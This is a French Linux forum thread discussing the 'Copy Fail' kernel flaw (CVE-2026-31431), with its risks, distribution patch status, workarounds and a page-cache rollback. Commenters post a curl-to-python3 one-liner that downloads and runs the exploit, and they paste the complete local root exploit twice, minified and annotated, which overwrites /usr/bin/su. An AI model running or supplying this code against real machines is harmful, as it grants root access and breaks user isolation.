• # Mettez d'urgence vos kernels à jour !

    Posté par  (Mastodon) . Évalué à 6 (+3/-0).

    Sur Arch mise à jour il y a quelques jours (1 semaine ?) la faille marche :

    $ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

    En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.

    • [^] # Re: Mettez d'urgence vos kernels à jour !

      Posté par  (Mastodon) . Évalué à 10 (+8/-0). Dernière modification le 29 avril 2026 à 21:36.

      Plutôt que s'amuser à exécuter directement le script sans voir le code, je préfère voir la source avant.

      Voici le contenu du script d'exploitation de la faille1 :

      #!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

      1. Pris depuis https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py ↩

      • [^] # Re: Mettez d'urgence vos kernels à jour !

        Posté par  . Évalué à 3 (+3/-0).

        Je sais qu’une vraie attaque fait tout pour rendre le code illisible, mais là on parle bien d’une démonstration publique qui n’est pas censée en être une ?

        Sans parler de la documentation sur le site qui dit « Targets /usr/bin/su by default; pass another setuid binary as argv[1] » alors que les lignes 8 et 10 le codent évidemment en dur… oO

        • [^] # Re: Mettez d'urgence vos kernels à jour !

          Posté par  (site web personnel, Mastodon) . Évalué à 7 (+4/-0).

          Les détails sont sur un blog. En très résumé: utilisation de splice() de façon tordue pour corrompre le cache disque. Cela permet de remplacer le contenu d'un binaire qui est setuid (dans l'exemple c'est su qui est visé). Ainsi, lorsqu'on exécute ce binaire, c'est la version corrompue qui se lance, et comme il y a le bit setuid, il se lance en root.

          Les détails sont dans le "de façon tordue" mais je vais aller lire le blog et je pense qu'il vaut mieux prendre les infos à la source que mon résumé.

          • [^] # Re: Mettez d'urgence vos kernels à jour !

            Posté par  (site web personnel, Mastodon) . Évalué à 7 (+4/-0).

            Je complète un peu après avoir lu l'article:

            • le problème se trouve dans des fonctions de cryptographie du noyau qui sont exposées assez directement à l'espace utilisateur. Ces fonctions écrivent 4 octets dans une zone fournie par l'utilisateur alors que celui-ci n'avait pas le droit d'écrire dedans. Dans l'attaque, on fait en sorte que ce pointeur pointe vers les données de su dans le cache disque.
            • comme l'attaque s'en prend au cache disque, elle permet de contourner certaines solutions de sandboxing comme kubernetes. En effet dans ce cas là, il y a un seul kernel et un seul cache disque. Cela fait ou fera l'objet d'un deuxième blog (j'ai pas regardé si il était déjà disponible) pour les détails

          • [^] # Re: Mettez d'urgence vos kernels à jour !

            Posté par  . Évalué à 5 (+5/-0). Dernière modification le 30 avril 2026 à 09:09.

            Je comprends bien que le code d’exploitation se doit d’être un minimum tordu. Ce que je ne comprends pas, c’est de fournir uniquement une version minifiée et compressée. C’est chouette pour pouvoir dire que ça tient dans 1 ko, mais ça complique inutilement l’audit pour ceux qui veulent juste vérifier ce qui est fait avant de le lancer.

        • [^] # Re: Mettez d'urgence vos kernels à jour !

          Posté par  . Évalué à 6 (+4/-0). 

          #!/usr/bin/env python3
import os
import zlib
import socket


def d(x):
    return bytes.fromhex(x)


def c(f, t, c):
    # AF_ALG is a Linux-only socket based interface to Kernel cryptography.
    # https://docs.kernel.org/crypto/userspace-if.html
    a = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)

    a.bind(("aead", "authencesn(hmac(sha256), cbc(aes))"))
    a.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, d('0800010000000010'+'0'*64))
    a.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, 4)
    u, _ = a.accept()
    u.sendmsg_afalg([b"A"*4+c],
                    op=socket.ALG_OP_DECRYPT,
                    iv=b'\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',
                    assoclen=8,
                    flags=socket.MSG_MORE)

    r, w = os.pipe()
    os.splice(f, w, t + 4, offset_src=0)
    os.splice(r, u.fileno(), t + 4)

    try:
        u.recv(8+t)
    except:
        0


# This is an ELF program
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

f = os.open("/usr/bin/su", 0)
i = 0
while i < len(e):
    c(f, i, e[i:i+4])
    i += 4

os.system("su")

          Même en plus clair, faut être un peu pointu.

    • [^] # Re: Mettez d'urgence vos kernels à jour !

      Posté par  . Évalué à 5 (+4/-0).

      Pour Arch, Le kernel 7.0 vient d'arriver en main aujourd'hui…
      Et il corrige bien.

      Par contre, sur mes serveurs Debian, j'ai du mettre en place le workaround : pas de fix sur le kernel actuel dans le repo si j'en crois le tracker.

    • [^] # Re: Mettez d'urgence vos kernels à jour !

      Posté par  . Évalué à 6 (+4/-0). Dernière modification le 30 avril 2026 à 08:30.

      Pour l'instant les distributions majeures ne proposent pas de noyau intégrant le correctif :

      Debian : https://security-tracker.debian.org/tracker/CVE-2026-31431
      Ubuntu : https://ubuntu.com/security/CVE-2026-31431
      Redhat : https://access.redhat.com/security/cve/cve-2026-31431

      Je m'étonne un peu de la publication de la faille et du script permettant de l'exploiter avant que les correctifs aient été intégrés par celles-ci. Les mainteneurs du noyau ont été avisés il y a un peu moins d'un mois mais seules les versions ≥ 7.0 semblent concernées.

      Pour tester il vaut mieux utiliser d'autres scripts que celui fourni par le lien, par exemple : https://github.com/rootsecdev/cve_2026_31431
      Ou mieux se contenter d'appliquer le contournement proposé si le noyau est listé comme vulnérable sur le site de la distribution.

      En effet, j'ai cru comprendre que le script ouvrait un socket de communication pour passer en root. Dans ce cas, une fois le script exécuté, tous les utilisateurs non privilégiés sur la machine peuvent lancer su et devenir root sans mot de passe tant que le socket est ouvert…

      • [^] # Re: Mettez d'urgence vos kernels à jour !

        Posté par  (Mastodon) . Évalué à 9 (+6/-0). Dernière modification le 30 avril 2026 à 09:38.

        Dans ce cas, une fois le script exécuté, tous les utilisateurs non privilégiés sur la machine peuvent lancer su et devenir root sans mot de passe tant que le socket est ouvert…

        Attention le script fourni ne sert pas à détecter la faille, mais bien à l'activer. À n'utiliser donc que si l'on peut rebooter rapidement (ce qui remet le système à l'état normal).

        En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.

    • [^] # Re: Mettez d'urgence vos kernels à jour !

      Posté par  (site web personnel, Mastodon) . Évalué à 4 (+2/-0).

      curl https://copy.fail/exp | python3

      On en a déja causé ya pas longtemps…

      https://tferdinand.net/pourquoi-curl-bash-est-une-mauvaise-habitude-dangereuse/

  • # Avocat du diable (quel est le risque pour moi ?)

    Posté par  (site web personnel) . Évalué à 4 (+2/-0).

    Cette faille permet, si je comprends bien de passer de l'utilisateur courant à root sans entrer de mot de passe.

    Les vrais trucs que je veux protéger sont dans ma home (documents, photos, mails, etc.).

    Mon ordinateur est une tour bien lourde sous mon bureau connectée à plein de fils (on ne risque pas de me le voler allumé).

    Quelle est la surface d’attaque ?

    Un de mes enfants pourrait profiter d'une absence pour se créer un accès permanent à mon ordi ?

    xkcd obligatoire: https://xkcd.com/1200/

    • [^] # Re: Avocat du diable (quel est le risque pour moi ?)

      Posté par  (Mastodon) . Évalué à 9 (+6/-0). Dernière modification le 30 avril 2026 à 07:51.

      Cette faille permet, si je comprends bien de passer de l'utilisateur courant à root sans entrer de mot de passe.

      Il faut bien être conscient que la séparation utilisateur/administrateur est la principale mesure de sécurité de ton système. Là oui, ça tombe.

      Les vrais trucs que je veux protéger sont dans ma home (documents, photos, mails, etc.).

      Donc lisible et écrivable par tous les comptes à partir de maintenant.

      Quelle est la surface d’attaque ?

      N'importe quel programme exécuté en tant que utilisateur peut choper les droits root. Ton Firefox par exemple, ou ton LibreOffice. C'est 10 lignes de script, ça marche partout. Le font-ils ? Je te laisse faire l'audit du code, mais perso je préfère avoir un kernel sans trou aussi béant, ça évite ce style de questionnement.

      Un de mes enfants pourrait profiter d'une absence pour se créer un accès permanent à mon ordi ?

      C'est surtout qu'il n'a pas intérêt à exécuter n'importe quoi. L'isolation "je leur fais un compte dédié pour éviter les emmerdes" saute immédiatement.

      Par exemple un tuto qui contient le fameux curl | bash, vaut mieux y jeter un oeil avant, les hackeurs de sites Internet vont se ruer sur cette aubaine !

      En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.

    • [^] # Re: Avocat du diable (quel est le risque pour moi ?)

      Posté par  (site web personnel) . Évalué à 5 (+4/-0).

      Les vrais trucs que je veux protéger sont dans ma home (documents, photos, mails, etc.).

      Une solution de sauvegarde automatisée et protégée en écriture (y compris de root, c'est faisable), ça sert à ça aussi.

      Quelle est la surface d’attaque ?

      Si tu n'a aucun serveur installé, si tu en restes aux exécutables fournis pas ta distribution, elle est quasi-nulle.

      Un de mes enfants […]

      S'ils en sont à pirater l'ordi. famillial…

      • [^] # Re: Avocat du diable (quel est le risque pour moi ?)

        Posté par  . Évalué à 1 (+1/-0).

        Si tu n'a aucun serveur installé, si tu en restes aux exécutables fournis pas ta distribution, elle est quasi-nulle.
        Pas vraiment, une pull request malveillante sur un projet peu attentif à la sécurité (ou faisant relire celles-ci par une IA 😀) peut suffire pour qu’un attaquant puisse accéder au compte admin du PC même sans niveau technique incroyable.

        • [^] # Re: Avocat du diable (quel est le risque pour moi ?)

          Posté par  . Évalué à 3 (+1/-0).

          Pas vraiment, une pull request malveillante sur un projet peu attentif à la sécurité (ou faisant relire celles-ci par une IA 😀) peut suffire pour qu’un attaquant puisse accéder au compte admin du PC même sans niveau technique incroyable.

          En contexte particuler, ça sert à quoi d'accéder au compte admin quand tu as déjà accès à toutes les données sensibles qui sont dans le compte utilisateur ?

          • [^] # Re: Avocat du diable (quel est le risque pour moi ?)

            Posté par  (Mastodon) . Évalué à 3 (+0/-0). Dernière modification le 30 avril 2026 à 14:18.

            Ici au boulot j'ai une Ubuntu tout ce qu'il y a de standard, je suis le seul utilisateur, et pourtant j'ai 65 entrées dans /etc/passwd. C'est à se demander pourquoi tout ne tourne pas sous root !

            En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.

  • # Rollback de l'exploit

    Posté par  (site web personnel) . Évalué à 6 (+6/-0).

    Pour rollback l'exploit sur une machine :

    root@vm01:~# sha256sum /usr/bin/su
44900c631391f0d60eb6d271b8374a08dc1d9be76e403390d27a91ed5f179be9  /usr/bin/su
root@vm01:/usr/bin# vmtouch -e /usr/bin/su
           Files: 1
     Directories: 0
   Evicted Pages: 14 (56K)
         Elapsed: 7.7e-05 seconds
root@vm01:/usr/bin# sha256sum /usr/bin/su
c74311fe5636b7d7f9a56239fa8adeeab12ba86fe7d41b91afa85bf9bbdae78b  /usr/bin/su

  • # Titre complété

    Posté par  (site web personnel) . Évalué à 5 (+2/-0).

    J'ai rajouté Copy Fail dans le titre parce qu'on a déjà des propositions en doublon et ce n'est que le début.

Envoyer un commentaire

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.